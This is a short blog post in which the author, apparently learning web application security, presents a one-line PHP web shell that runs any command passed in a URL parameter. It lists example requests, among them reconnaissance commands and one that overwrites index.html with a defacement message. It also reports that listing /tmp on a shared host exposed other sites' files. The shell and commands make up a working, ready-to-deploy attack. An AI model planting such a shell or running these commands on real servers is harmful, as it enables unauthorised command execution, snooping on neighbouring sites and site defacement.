Single Line PHP Script to Gain Shell

A while ago, on PaulDotCom Security Weekly, I heard someone mention something about a single line php script to get shell on the web server. I knew it couldn’t be that hard as it’s only one line, but I didn’t find much about it on google when I searched, perhaps because it’s too easy, or perhaps I was using the wrong search terms. Anyway, I forgot about it for a while… until now.

Since WebApp security is what I’m most interested in at the moment, I have been learning PHP, I’m not finished learning yet, but today (while reading about how inputs should be sanitised before using “include”) I remembered the single line PHP shell, and I had a go and this is what I came up with:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Obviously the WebApp would have to be vulnerable in some way in order to be able to put this script on the server, but once it was, it could potentially be used to do things like dump files and deface the site.

The output is just text, not an HTML document so if using a web browser, you will want to view the source in order to see the proper result.

I used shell_exec() instead of just exec() because it returns every line instead of just the last one. An alternative is to use passthru() which will also send binary data, but to get that to work properly with binary data, you’d probably have to also set the headers which makes it more than one line.

I was able to run unix commands (windows commands should also work if the host is running windows) such as:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

The last command even showed me some files and their owners which in turn (because I am using a shared host) told me the names of some of the other sites are that are running on the same server as mine, which was an unexpected “bonus” find.

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